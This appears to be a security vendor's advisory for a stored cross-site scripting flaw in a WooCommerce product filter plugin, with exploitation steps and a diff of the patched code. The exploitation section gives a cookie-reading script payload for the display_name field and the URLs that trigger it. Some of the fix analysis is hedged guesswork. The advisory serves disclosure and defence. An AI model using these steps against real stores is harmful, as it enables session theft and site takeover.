Published : December 2, 2026

CVE-2026-140030: Product Filter for WooCommerce by WBW <= 4.0.1 Authenticated (Subscriber+) Stored Cross-Site Scripting via User 'display_name' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.0.1
Patched Version 4.0.2
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-140030: This is a stored cross-site scripting (XSS) vulnerability in the Product Filter for WooCommerce by WBW plugin (versions up to and including 4.0.1). An authenticated attacker with subscriber-level access or higher can inject arbitrary JavaScript that executes when a victim (including administrators) views an injected page. The vulnerability resides in the classic/legacy frontend engine’s handling of the ‘display_name’ parameter for author filters. The CVSS score is 6.4 (Medium), and the CWE is 79 (Improper Neutralization of Input During Web Page Generation).

The root cause is insufficient input sanitization and output escaping in the classic engine’s author filter rendering. The vulnerable code path is in modules/woofilters/class-woobewoo-pf-frontend4.php, around line 1403, where author slugs are processed. Prior to the patch, the code retrieves a user object by ID or slug and uses the user’s display_name directly in the output array without escaping: `$out[] = array( ‘key’ => $key, ‘value’ => $slug, ‘label’ => $u ? $u->display_name : $slug );`. The display_name is not sanitized before being included in the label, and later this label is rendered into the page without proper escaping in the classic engine. The patch adds a check to only use display_name for users who have published products (sellers), and for others it uses the raw slug. However, the core issue is that the display_name was not being escaped when rendered. The patch also adds escaping in other parts, but the specific fix for this CVE is the check that prevents arbitrary users’ display names from being exposed, combined with other hardening. Atomic Edge research identifies that the lack of output escaping in the classic engine is the primary flaw.

Exploitation requires the attacker to have at least subscriber-level authentication. The attacker can set their own display_name to a malicious JavaScript payload (e.g., `alert(document.cookie)`) via the WordPress profile edit page (wp-admin/profile.php). Then, the attacker crafts a URL to a page that uses the classic filter with an author filter, such as `/shop/?wpf_filter_author=attacker_username` or by manipulating the filter parameters. When a victim visits this page, the plugin’s classic engine renders the author filter options and includes the attacker’s display_name without escaping, causing the script to execute in the victim’s browser. The attack can also be triggered via the filter’s AJAX endpoint if the classic engine is used. The exact endpoint may be `/wp-admin/admin-ajax.php?action=woobewoo_pf_filters_frontend` with parameters that include the author filter, but the diff suggests the issue is in the frontend4.php file which likely handles the rendering of filter options for the classic engine.

The patch addresses the vulnerability in multiple ways. In modules/woofilters/class-woobewoo-pf-frontend4.php, the code now checks if the user has published products (count_user_posts) before using the display_name; if not, it falls back to the slug. This prevents the display_name of non-sellers (like subscribers) from being used. In modules/woofilters/class-woobewoo-pf-woofilters-controller.php, the patch improves escaping of term names by using htmlspecialchars with ENT_QUOTES and double_encode, after stripping tags and decoding entities. This adds defense in depth for other filter types. The patch also includes other unrelated security fixes, but for this CVE, the key change is the seller check in frontend4.php and the enhanced escaping in the controller. The before behavior allowed any authenticated user’s display_name to be rendered unescaped; after the patch, only sellers’ display names are used (and they are presumably trusted or escaped elsewhere), and other users’ inputs are not reflected.

The impact of this vulnerability is stored XSS. An attacker can execute arbitrary JavaScript in the context of any user who views the injected page, including administrators. This can lead to session hijacking, privilege escalation (by creating new admin accounts), data theft, or site takeover. Since the attacker only needs subscriber access, this is a significant threat in multi-user WooCommerce sites where users can register. Atomic Edge analysis rates the severity as medium due to the authentication requirement, but the potential for full site compromise makes it serious.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woo-product-filter/classes/class-woobewoo-pf-controller.php
+++ b/woo-product-filter/classes/class-woobewoo-pf-controller.php
@@ -209,7 +209,7 @@
 		$model = $this->getModel();

 		$page      = (int) WooBeWoo_PF_Req::getVar( 'page' );
-		$rowsLimit = (int) WooBeWoo_PF_Req::getVar( 'rows' );
+		$rowsLimit = max( 1, (int) WooBeWoo_PF_Req::getVar( 'rows' ) ); // 4.0.2: a missing page size divided by zero
 		$orderBy   = WooBeWoo_PF_Req::getVar( 'sidx' );
 		$sortOrder = WooBeWoo_PF_Req::getVar( 'sord' ) == 'asc' ? 'asc' : 'desc';

@@ -221,6 +221,9 @@
 				if ( empty( $v ) ) {
 					continue;
 				}
+				if ( 'additionalCondition' === $k ) {
+					continue; // raw SQL key of the table class, never from the request
+				}
 				if ( 'text_like' == $k ) {
 					$v = $this->_prepareTextLikeSearch( $v );
 					if ( ! empty( $v ) ) {
--- a/woo-product-filter/classes/class-woobewoo-pf-errors.php
+++ b/woo-product-filter/classes/class-woobewoo-pf-errors.php
@@ -60,10 +60,10 @@
 			$wpfErrors = array_map( 'htmlspecialchars', array_map( 'stripslashes', array_map( 'trim', $wpfErrors ) ) );
 			if ( ! empty( $wpfErrors ) ) {
 				self::$current = $wpfErrors;
+				// 4.0.2: nothing in the plugin builds ?wpfErrors= links; reflecting it put visitor text into every
+				// post body. Kept for wp-admin notices only (escaped there).
 				if ( is_admin() ) {
 					add_action( 'admin_notices', array( 'WooBeWoo_PF_Errors', 'showAdminErrors' ) );
-				} else {
-					add_filter( 'the_content', array( 'WooBeWoo_PF_Errors', 'appendErrorsContent' ), 99999 );
 				}
 			}
 		}
--- a/woo-product-filter/classes/class-woobewoo-pf-frame.php
+++ b/woo-product-filter/classes/class-woobewoo-pf-frame.php
@@ -394,14 +394,18 @@
 		if ( $mod && $this->checkPermissions( $this->_mod, $this->_action ) ) {
 			switch ( WooBeWoo_PF_Req::getVar( 'reqType' ) ) {
 				case 'ajax':
-					add_action( 'wp_ajax_' . $this->_action, array( $mod->getController(), $this->_action ) );
+					// Call the handler without arguments: do_action() passes '' as the first argument, which
+					// silently overrode optional parameters such as Meta_Controller::woobewoo_pf_do_meta_indexing( $realAjax = true ).
+					$controller = $mod->getController();
+					$method     = $this->_action;
+					$callback   = function () use ( $controller, $method ) {
+						return $controller->$method();
+					};
+					add_action( 'wp_ajax_' . $this->_action, $callback );
 					$noprivActions = array( 'woobewoo_pf_filters_frontend', 'saveStatistics' );

 					if ( in_array( $this->_action, $noprivActions ) ) {
-						add_action(
-							'wp_ajax_nopriv_' . $this->_action,
-							array( $mod->getController(), $this->_action )
-						);
+						add_action( 'wp_ajax_nopriv_' . $this->_action, $callback );
 					}
 					break;
 				default:
--- a/woo-product-filter/classes/class-woobewoo-pf-table.php
+++ b/woo-product-filter/classes/class-woobewoo-pf-table.php
@@ -50,6 +50,10 @@
 	 * Escape data before action
 	 */
 	protected $_escape = false;
+	/**
+	 * String columns escaped in SET even when $_escape is off (callers pre-escape the others).
+	 */
+	protected $_escapeFields = array();

 	protected $_limitFrom = '';
 	protected $_limitTo   = '';
@@ -444,7 +448,7 @@
 								$res .= $k . ' = ' . $val . ' ' . $delim . ' ';
 								break;
 							default:
-								$res .= $k . ' = '' . $this->_quoted( $val, $escape ) . '' ' . $delim . ' ';
+								$res .= $k . ' = '' . $this->_quoted( $val, $escape || in_array( $k, $this->_escapeFields, true ) ) . '' ' . $delim . ' ';
 								break;
 						}
 					} else {
--- a/woo-product-filter/classes/tables/class-woobewoo-pf-filters-table.php
+++ b/woo-product-filter/classes/tables/class-woobewoo-pf-filters-table.php
@@ -18,6 +18,8 @@
 		$this->_table = '@__filters';
 		$this->_id    = 'id';
 		$this->_alias = 'wpf_filters';
+		// title and setting_data are escaped by the model; meta_keys comes from block settings unescaped.
+		$this->_escapeFields = array( 'meta_keys' );
 		$this->_addField( 'id', 'text', 'int' )
 			->_addField( 'title', 'text', 'varchar' )
 			->_addField( 'setting_data', 'text', 'text' )
--- a/woo-product-filter/classes/tables/class-woobewoo-pf-meta-keys-table.php
+++ b/woo-product-filter/classes/tables/class-woobewoo-pf-meta-keys-table.php
@@ -18,6 +18,8 @@
 		$this->_table = '@__meta_keys';
 		$this->_id    = 'id';
 		$this->_alias = 'wpf_meta_keys';
+		// meta_key values come from filter block settings and postmeta key names: escape every SET value.
+		$this->_escape = true;
 		$this->_addField( 'id', 'text', 'int' )
 			->_addField( 'meta_mode', 'text', 'int' )
 			->_addField( 'meta_key', 'text', 'text' )
--- a/woo-product-filter/config.php
+++ b/woo-product-filter/config.php
@@ -64,7 +64,7 @@
 define( 'WPF_EOL', "n" );

 define( 'WPF_PLUGIN_INSTALLED', true );
-define( 'WPF_VERSION', '4.0.1' );
+define( 'WPF_VERSION', '4.0.2' );
 define( 'WPF_PRO_REQUIRES', '4.0.0' ); // Pro 4.0 requires Free 4.0 (new modules, version history table, drawer settings).
 /**
  * 4.0.0 platform modules shipped in Free. Bump WPF_MODULES_REV when a module is added so the
--- a/woo-product-filter/functions.php
+++ b/woo-product-filter/functions.php
@@ -502,7 +502,7 @@
 		if ( class_exists( 'WooBeWoo_PF_Settings_Model' ) ) {
 			return WooBeWoo_PF_Settings_Model::decode_settings( $raw );
 		}
-		$d = is_array( $raw ) ? $raw : maybe_unserialize( (string) $raw );
+		$d = is_array( $raw ) ? $raw : ( is_serialized( (string) $raw ) ? @unserialize( trim( (string) $raw ), array( 'allowed_classes' => false ) ) : $raw ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize, WordPress.PHP.NoSilencedErrors.Discouraged -- no objects
 		return is_array( $d ) ? $d : array();
 	}
 }
--- a/woo-product-filter/modules/abilities/models/class-woobewoo-pf-abilities-model.php
+++ b/woo-product-filter/modules/abilities/models/class-woobewoo-pf-abilities-model.php
@@ -213,12 +213,15 @@
 			}
 		}
 		if ( ! empty( $input['attributes'] ) && is_array( $input['attributes'] ) ) {
+			// Only product attribute taxonomies (pa_*): any other registered taxonomy would let a visitor resolve term
+			// ids and names of non-public taxonomies and read their slugs back from the returned url.
+			$attrTaxes = function_exists( 'wc_get_attribute_taxonomy_names' ) ? (array) wc_get_attribute_taxonomy_names() : array();
 			foreach ( $input['attributes'] as $tax => $vals ) {
 				$tax = sanitize_key( $tax );
-				if ( ! taxonomy_exists( $tax ) && taxonomy_exists( 'pa_' . $tax ) ) {
+				if ( ! in_array( $tax, $attrTaxes, true ) && in_array( 'pa_' . $tax, $attrTaxes, true ) ) {
 					$tax = 'pa_' . $tax;
 				}
-				if ( ! taxonomy_exists( $tax ) ) {
+				if ( ! in_array( $tax, $attrTaxes, true ) || ! taxonomy_exists( $tax ) ) {
 					continue;
 				}
 				$slugs = array();
--- a/woo-product-filter/modules/importers/class-woobewoo-pf-importers-controller.php
+++ b/woo-product-filter/modules/importers/class-woobewoo-pf-importers-controller.php
@@ -226,7 +226,7 @@
 					'wpf_rival_preview' => 1,
 					'rival'             => $mapper->slug(),
 					'set'               => $setId,
-					'wpfNonce'          => wp_create_nonce( 'woobewoo-pf-save-nonce' ),
+					'wpfNonce'          => wp_create_nonce( 'wpf_rival_preview' ), // 4.0.2: its own action; this URL is a storefront page
 				),
 				wc_get_page_permalink( 'shop' )
 			);
@@ -249,8 +249,9 @@
 	 * Minimal page with the rival's shortcode and the theme's head/footer, for the preview iframe.
 	 */
 	public function woobewoo_pf_importers_rival_preview() {
-		WooBeWoo_PF_Req::verifyRequest();
-		if ( ! current_user_can( 'manage_options' ) ) {
+		// 4.0.2: a nonce of its own (the master admin nonce never travels in a storefront URL) and the admin capability.
+		$nonce = isset( $_GET['wpfNonce'] ) ? sanitize_text_field( wp_unslash( $_GET['wpfNonce'] ) ) : '';
+		if ( ! wp_verify_nonce( $nonce, 'wpf_rival_preview' ) || ! current_user_can( 'manage_options' ) ) {
 			wp_die( esc_html__( 'Security check failed.', 'woo-product-filter' ), '', array( 'response' => 403 ) );
 		}
 		$slug   = sanitize_key( (string) WooBeWoo_PF_Req::getVar( 'rival', 'get' ) );
--- a/woo-product-filter/modules/importers/models/class-woobewoo-pf-importer-filtereverything-model.php
+++ b/woo-product-filter/modules/importers/models/class-woobewoo-pf-importer-filtereverything-model.php
@@ -114,7 +114,9 @@
 	}

 	private function content( $post ) {
-		$d = maybe_unserialize( $post->post_content );
+		// Their field settings are a serialized array: no objects (runs on storefront requests through redirectLegacy()).
+		$raw = (string) $post->post_content;
+		$d   = is_serialized( $raw ) ? @unserialize( trim( $raw ), array( 'allowed_classes' => false ) ) : $raw; // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged, WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
 		return is_array( $d ) ? $d : array();
 	}

--- a/woo-product-filter/modules/index/class-woobewoo-pf-bot-cache.php
+++ b/woo-product-filter/modules/index/class-woobewoo-pf-bot-cache.php
@@ -89,7 +89,11 @@
 				return;
 			}
 		}
-		$url       = ( is_ssl() ? 'https://' : 'http://' ) . ( isset( $_SERVER['HTTP_HOST'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) ) : '' ) . ( isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '/' );
+		// 4.0.2: the address is hashed exactly as received, never printed. sanitize_text_field() drops every %XX octet,
+		// so /shop/?wpf_q=red and /shop/?wpf_q=re%20scam shared one key and either page could be stored for the other.
+		$host      = isset( $_SERVER['HTTP_HOST'] ) ? (string) wp_unslash( $_SERVER['HTTP_HOST'] ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- hashed only
+		$uri       = isset( $_SERVER['REQUEST_URI'] ) ? (string) wp_unslash( $_SERVER['REQUEST_URI'] ) : '/'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- hashed only
+		$url       = ( is_ssl() ? 'https://' : 'http://' ) . $host . $uri;
 		self::$key = self::PREFIX . md5( $url . '|' . WooBeWoo_PF_Index::version() );
 		$cached    = get_transient( self::$key );
 		if ( is_array( $cached ) && ! empty( $cached['html'] ) ) {
--- a/woo-product-filter/modules/index/class-woobewoo-pf-engine.php
+++ b/woo-product-filter/modules/index/class-woobewoo-pf-engine.php
@@ -441,7 +441,9 @@
 	private function search_sql( $text ) {
 		global $wpdb;
 		$like = '%' . $wpdb->esc_like( $text ) . '%';
-		return $wpdb->prepare( "EXISTS (SELECT 1 FROM {$wpdb->posts} ps WHERE ps.ID = " . $this->pid() . " AND (ps.post_title LIKE %s OR ps.post_excerpt LIKE %s OR ps.post_content LIKE %s))", $like, $like, $like ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared -- the interpolated pieces are $wpdb->prepare() fragments, cast integers and our own index table names; nothing comes from the request unprepared
+		// 4.0.2: the description and short description of a password protected product are not public (core's own
+		// search skips them for visitors too), so they never match; its name still does.
+		return $wpdb->prepare( "EXISTS (SELECT 1 FROM {$wpdb->posts} ps WHERE ps.ID = " . $this->pid() . " AND (ps.post_title LIKE %s OR (ps.post_password = '' AND (ps.post_excerpt LIKE %s OR ps.post_content LIKE %s))))", $like, $like, $like ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared -- the interpolated pieces are $wpdb->prepare() fragments, cast integers and our own index table names; nothing comes from the request unprepared
 	}

 	/**
@@ -530,6 +532,8 @@
 			return '1 = 1';
 		}
 		$pid   = $this->pid();
+		// 4.0.2: only the name of a password-protected product is public; every other field needs an open product.
+		$open  = "EXISTS (SELECT 1 FROM {$wpdb->posts} pw WHERE pw.ID = $pid AND pw.post_password = '')";
 		$terms = array();
 		foreach ( $words as $word ) {
 			$val = $full ? '(^|[^[:alnum:]_])' . preg_replace( '/([.\+*?[^]$(){}=!<>|:-#])/', '\\$1', $word ) . '([^[:alnum:]_]|$)' : '%' . $wpdb->esc_like( $word ) . '%';
@@ -548,12 +552,14 @@
 			if ( $cols ) {
 				$c = array();
 				foreach ( $cols as $col ) {
-					$c[] = $wpdb->prepare( "$col $op %s", $val ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- column and operator are fixed strings chosen above
+					$cond = $wpdb->prepare( "$col $op %s", $val ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- column and operator are fixed strings chosen above
+					// 4.0.2: descriptions of a password protected product are not public: only its name is searched.
+					$c[]  = 'ps.post_title' === $col ? $cond : "(ps.post_password = '' AND $cond)";
 				}
 				$or[] = "EXISTS (SELECT 1 FROM {$wpdb->posts} ps WHERE ps.ID = $pid AND (" . implode( ' OR ', $c ) . '))';
 			}
 			if ( $sku ) {
-				$or[] = $wpdb->prepare( "EXISTS (SELECT 1 FROM {$wpdb->postmeta} pk WHERE pk.meta_key = '_sku' AND pk.meta_value $op %s AND (pk.post_id = $pid OR pk.post_id IN (SELECT pv.ID FROM {$wpdb->posts} pv WHERE pv.post_parent = $pid AND pv.post_type = 'product_variation')))", $val ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- operator and alias are fixed strings
+				$or[] = "($open AND " . $wpdb->prepare( "EXISTS (SELECT 1 FROM {$wpdb->postmeta} pk WHERE pk.meta_key = '_sku' AND pk.meta_value $op %s AND (pk.post_id = $pid OR pk.post_id IN (SELECT pv.ID FROM {$wpdb->posts} pv WHERE pv.post_parent = $pid AND pv.post_type = 'product_variation')))", $val ) . ')'; // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- operator and alias are fixed strings
 			}
 			if ( $taxes || $attrTax ) {
 				$tw = array();
@@ -565,15 +571,15 @@
 				if ( $attrTax ) {
 					$tw[] = "tt.taxonomy LIKE 'pa\_%'";
 				}
-				$or[] = $wpdb->prepare( "EXISTS (SELECT 1 FROM {$wpdb->term_relationships} tr INNER JOIN {$wpdb->term_taxonomy} tt ON tt.term_taxonomy_id = tr.term_taxonomy_id INNER JOIN {$wpdb->terms} tm ON tm.term_id = tt.term_id WHERE tr.object_id = $pid AND (" . implode( ' OR ', $tw ) . ") AND tm.name $op %s)", $val ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared -- taxonomy list built with prepare(), operator fixed
+				$or[] = "($open AND " . $wpdb->prepare( "EXISTS (SELECT 1 FROM {$wpdb->term_relationships} tr INNER JOIN {$wpdb->term_taxonomy} tt ON tt.term_taxonomy_id = tr.term_taxonomy_id INNER JOIN {$wpdb->terms} tm ON tm.term_id = tt.term_id WHERE tr.object_id = $pid AND (" . implode( ' OR ', $tw ) . ") AND tm.name $op %s)", $val ) . ')'; // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared -- taxonomy list built with prepare(), operator fixed
 			}
 			if ( $meta ) {
 				$in   = implode( ',', array_map( function ( $k ) use ( $wpdb ) {
 					return $wpdb->prepare( '%s', $k );
 				}, $meta ) );
-				$or[] = $exact
+				$or[] = "($open AND " . ( $exact
 					? $wpdb->prepare( "EXISTS (SELECT 1 FROM {$wpdb->postmeta} pf WHERE pf.post_id = $pid AND pf.meta_key IN ($in) AND pf.meta_value = %s)", $text ) // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared -- key list built with prepare()
-					: $wpdb->prepare( "EXISTS (SELECT 1 FROM {$wpdb->postmeta} pf WHERE pf.post_id = $pid AND pf.meta_key IN ($in) AND pf.meta_value $op %s)", $val ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared -- key list built with prepare(), operator fixed
+					: $wpdb->prepare( "EXISTS (SELECT 1 FROM {$wpdb->postmeta} pf WHERE pf.post_id = $pid AND pf.meta_key IN ($in) AND pf.meta_value $op %s)", $val ) ) . ')'; // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared -- key list built with prepare(), operator fixed
 			}
 			$terms[] = '(' . implode( ' OR ', $or ) . ')';
 		}
--- a/woo-product-filter/modules/index/class-woobewoo-pf-query.php
+++ b/woo-product-filter/modules/index/class-woobewoo-pf-query.php
@@ -513,6 +513,11 @@
 			return 'pa_' . $key;
 		}
 		if ( taxonomy_exists( $key ) && in_array( 'product', (array) get_taxonomy( $key )->object_type, true ) ) {
+			$t = get_taxonomy( $key );
+			// 4.0.2: internal taxonomies (not public and without an admin screen) are not filter keys.
+			if ( empty( $t->public ) && empty( $t->publicly_queryable ) && empty( $t->show_ui ) ) {
+				return '';
+			}
 			return $key;
 		}
 		return '';
--- a/woo-product-filter/modules/links/models/class-woobewoo-pf-links-model.php
+++ b/woo-product-filter/modules/links/models/class-woobewoo-pf-links-model.php
@@ -161,6 +161,11 @@
 		if ( in_array( $slug, array( 'f', 'page', 'feed', 'embed' ), true ) ) {
 			$slug .= '-link';
 		}
+		// A shopper's free text search, or a pick with no readable words ("filter", "filter-2", ...), gets a random
+		// part: those slugs must not be guessable, or GET wpf/v1/short-links/<slug> hands other shoppers' searches out.
+		if ( isset( $params['q'] ) || 'filter' === $slug ) {
+			$slug = substr( $slug, 0, 50 ) . '-' . strtolower( wp_generate_password( 8, false, false ) );
+		}
 		return $slug;
 	}

--- a/woo-product-filter/modules/meta/class-woobewoo-pf-meta-controller.php
+++ b/woo-product-filter/modules/meta/class-woobewoo-pf-meta-controller.php
@@ -19,19 +19,13 @@
 	 * @version 3.3.0
 	 */
 	public function woobewoo_pf_do_meta_indexing_free() {
-		// 4.0.1: the same nonce as every other admin action; the URL printed on the Settings screen carries it.
-		return $this->woobewoo_pf_do_meta_indexing( true );
-	}
-
-	/**
-	 * woobewoo_pf_do_meta_indexing.
-	 *
-	 * @version 3.4.0
-	 */
-	public function woobewoo_pf_do_meta_indexing( $realAjax = true ) {
-		if ( $realAjax ) {
-			WooBeWoo_PF_Req::verifyRequest();
-		} elseif ( ! current_user_can( 'manage_options' ) ) {
+		// 4.0.2: the URL printed on the Settings screen carries a nonce of its own (not the master admin nonce), and
+		// the request still needs the admin capability.
+		$nonce = isset( $_REQUEST['wpfNonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['wpfNonce'] ) ) : '';
+		if ( ! wp_verify_nonce( $nonce, 'wpf_cron_indexing' ) ) {
+			wp_send_json_error( array( 'message' => __( 'Security check failed.', 'woo-product-filter' ) ), 403 );
+		}
+		if ( ! current_user_can( 'manage_options' ) ) {
 			wp_send_json_error(
 				array(
 					'message' => __( 'Sorry, you are not allowed to perform this action.', 'woo-product-filter' ),
@@ -39,7 +33,27 @@
 				403
 			);
 		}
+		return $this->runMetaIndexing();
+	}

+	/**
+	 * woobewoo_pf_do_meta_indexing.
+	 *
+	 * @version 3.4.0
+	 */
+	public function woobewoo_pf_do_meta_indexing() {
+		// Always the master nonce here: WordPress calls wp_ajax_* handlers with an empty string argument, so a
+		// "$realAjax = true" parameter arrived as '' and skipped the nonce check.
+		WooBeWoo_PF_Req::verifyRequest();
+		return $this->runMetaIndexing();
+	}
+
+	/**
+	 * The indexing itself, after the caller checked its nonce and the capability. Not a route (protected).
+	 *
+	 * @since 4.0.2
+	 */
+	protected function runMetaIndexing() {
 		$res = new WooBeWoo_PF_Response();

 		if ( WooBeWoo_PF_Req::getVar( 'inCron' ) ) {
--- a/woo-product-filter/modules/meta/class-woobewoo-pf-meta.php
+++ b/woo-product-filter/modules/meta/class-woobewoo-pf-meta.php
@@ -91,7 +91,7 @@
 					'label'        => esc_html__( 'Start indexing product parameters', 'woo-product-filter' ),
 					'desc'         => esc_html__( 'For correct and fast operation of filters, the plugin creates index tables for product parameters. This tables are automatically rebuilt by editing / creating products. But if you edited products with third-party plugins or methods, and/or noticed that the filter does not work correctly, then click this button to forcefully rebuild the index tables. If you have a lot of products, the process may take a while.', 'woo-product-filter' ) . '<br><br>' .
 					esc_html__( 'There is a way to start indexing with a URL: ', 'woo-product-filter' ) . '<br><strong>' .
-					esc_url( wp_nonce_url( admin_url( 'admin-ajax.php?mod=meta&action=woobewoo_pf_do_meta_indexing_free&pl=wpf&reqType=ajax' ), 'woobewoo-pf-save-nonce', 'wpfNonce' ) ) . '</strong><br>' .
+					esc_url( wp_nonce_url( admin_url( 'admin-ajax.php?mod=meta&action=woobewoo_pf_do_meta_indexing_free&pl=wpf&reqType=ajax' ), 'wpf_cron_indexing', 'wpfNonce' ) ) . '</strong><br>' .
 					esc_html__( 'Add a parameter &inCron=1 if you need to run in the background (via cron).', 'woo-product-filter' ),
 					'html'         => 'startMetaButton',
 					'def'          => '',
--- a/woo-product-filter/modules/meta/models/class-woobewoo-pf-meta-model.php
+++ b/woo-product-filter/modules/meta/models/class-woobewoo-pf-meta-model.php
@@ -301,7 +301,7 @@
 				if ( ! $calculated ) {

 					$query     = '';
-					$whereMeta = $where . " AND m.meta_key='" . $keyName . "'";
+					$whereMeta = $where . " AND m.meta_key='" . esc_sql( $keyName ) . "'";
 					if ( $isMetaVar ) {
 						$keyDataVar = $keysModel->getKeyData( $keyNameVar, true );
 						if ( empty( $keyDataVar ) ) {
@@ -321,7 +321,7 @@
 							$join .= ')';

 							if ( $isMetaVar ) {
-								$query = $insert . 'val_id) SELECT DISTINCT post_parent,0,' . $keyId . ',v.id' . $from . ' INNER ' . $join . $where . " AND m.meta_key='" . $keyNameVar . "' AND p.post_type='product_variation'";
+								$query = $insert . 'val_id) SELECT DISTINCT post_parent,0,' . $keyId . ',v.id' . $from . ' INNER ' . $join . $where . " AND m.meta_key='" . esc_sql( $keyNameVar ) . "' AND p.post_type='product_variation'";
 							} else {
 								set_time_limit( 300 ); // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged
 								WooBeWoo_PF_Db::query( 'SET session wait_timeout=600' );
@@ -389,7 +389,7 @@
 									if ( 5 == $keyType ) {
 										$valuesArr = empty( $values['meta_value'] ) ? false : explode( $woobewoo_pf_meta_separator, $values['meta_value'] );
 									} else {
-										$valuesArr = ( 7 == $keyType ? $values['meta_value'] : maybe_unserialize( $values['meta_value'] ) );
+										$valuesArr = ( 7 == $keyType ? $values['meta_value'] : ( is_serialized( $values['meta_value'] ) ? @unserialize( $values['meta_value'], array( 'allowed_classes' => false ) ) : $values['meta_value'] ) );
 									}
 									if ( is_array( $valuesArr ) ) {
 										++$j;
@@ -764,7 +764,7 @@
 				$listIdsO = '';
 				$listIdsI = '';
 				foreach ( $data as $k => $values ) {
-					$valuesArr = maybe_unserialize( $values['meta_value'] );
+					$valuesArr = ( is_serialized( $values['meta_value'] ) ? @unserialize( $values['meta_value'], array( 'allowed_classes' => false ) ) : $values['meta_value'] );
 					if ( is_array( $valuesArr ) ) {
 						if ( $controlBundle ) {
 							$vars = array();
--- a/woo-product-filter/modules/woofilters/class-woobewoo-pf-engine-migration.php
+++ b/woo-product-filter/modules/woofilters/class-woobewoo-pf-engine-migration.php
@@ -560,7 +560,7 @@
 	 * On update: switch every classic filter where nothing changes. Once per plugin version.
 	 */
 	public static function maybeAutoSwitch() {
-		if ( ! current_user_can( 'manage_woocommerce' ) || (string) get_option( self::OPT_AUTO ) === WPF_VERSION ) {
+		if ( ! current_user_can( 'manage_options' ) || (string) get_option( self::OPT_AUTO ) === WPF_VERSION ) {
 			return;
 		}
 		update_option( self::OPT_AUTO, WPF_VERSION, true );
@@ -695,7 +695,7 @@
 	 * @since 4.0.1
 	 */
 	public static function reviewNotice() {
-		if ( ! current_user_can( 'manage_woocommerce' ) || ! function_exists( 'get_current_screen' ) ) {
+		if ( ! current_user_can( 'manage_options' ) || ! function_exists( 'get_current_screen' ) ) {
 			return;
 		}
 		$screen = get_current_screen();
@@ -767,7 +767,7 @@
 	}

 	public static function notice() {
-		if ( ! current_user_can( 'manage_woocommerce' ) || ! function_exists( 'get_current_screen' ) ) {
+		if ( ! current_user_can( 'manage_options' ) || ! function_exists( 'get_current_screen' ) ) {
 			return;
 		}
 		$screen = get_current_screen();
@@ -859,7 +859,7 @@

 	public static function ajax() {
 		check_ajax_referer( self::AJAX );
-		if ( ! current_user_can( 'manage_woocommerce' ) ) {
+		if ( ! current_user_can( 'manage_options' ) ) {
 			wp_send_json_error( array( 'message' => __( 'Not allowed.', 'woo-product-filter' ) ), 403 );
 		}
 		$op = isset( $_POST['op'] ) ? sanitize_key( wp_unslash( $_POST['op'] ) ) : '';
--- a/woo-product-filter/modules/woofilters/class-woobewoo-pf-frontend4.php
+++ b/woo-product-filter/modules/woofilters/class-woobewoo-pf-frontend4.php
@@ -1403,7 +1403,10 @@
 			foreach ( $slugs as $slug ) {
 				if ( 'author' === $key ) {
 					$u     = ctype_digit( (string) $slug ) ? get_user_by( 'id', (int) $slug ) : get_user_by( 'slug', $slug );
-					$out[] = array( 'key' => $key, 'value' => $slug, 'label' => $u ? $u->display_name : $slug );
+					// 4.0.2: only sellers (a user with published products) are named; any other id or nicename from the
+					// request stays as typed, so the chips and the JSON title never list the store's customers.
+					$seller = $u && count_user_posts( $u->ID, 'product', true ) > 0;
+					$out[]  = array( 'key' => $key, 'value' => $slug, 'label' => $seller ? $u->display_name : $slug );
 					continue;
 				}
 				$term  = $tax ? get_term_by( 'slug', $slug, $tax ) : null;
--- a/woo-product-filter/modules/woofilters/class-woobewoo-pf-woofilters-controller.php
+++ b/woo-product-filter/modules/woofilters/class-woobewoo-pf-woofilters-controller.php
@@ -946,7 +946,9 @@
 						foreach ( $levelTerms as $termId => $count ) {
 							if ( isset( $termsById[ $termId ] ) ) {
 								$term     = $termsById[ $termId ];
-								$termName = esc_attr( $term->name );
+								// 4.0.2: entities decoded and tags stripped first; the storefront script writes this name back into the page.
+								// 4.0.2: double_encode, so a double-encoded name cannot come back as markup after the browser decodes the attribute.
+								$termName = htmlspecialchars( wp_strip_all_tags( html_entity_decode( (string) $term->name, ENT_QUOTES, 'UTF-8' ) ), ENT_QUOTES, 'UTF-8', true );
 								$termSlug = esc_attr( $term->slug );

 								$optionsHtml[ $level ] .= '<option data-term-name="' . $termName . '" ' .
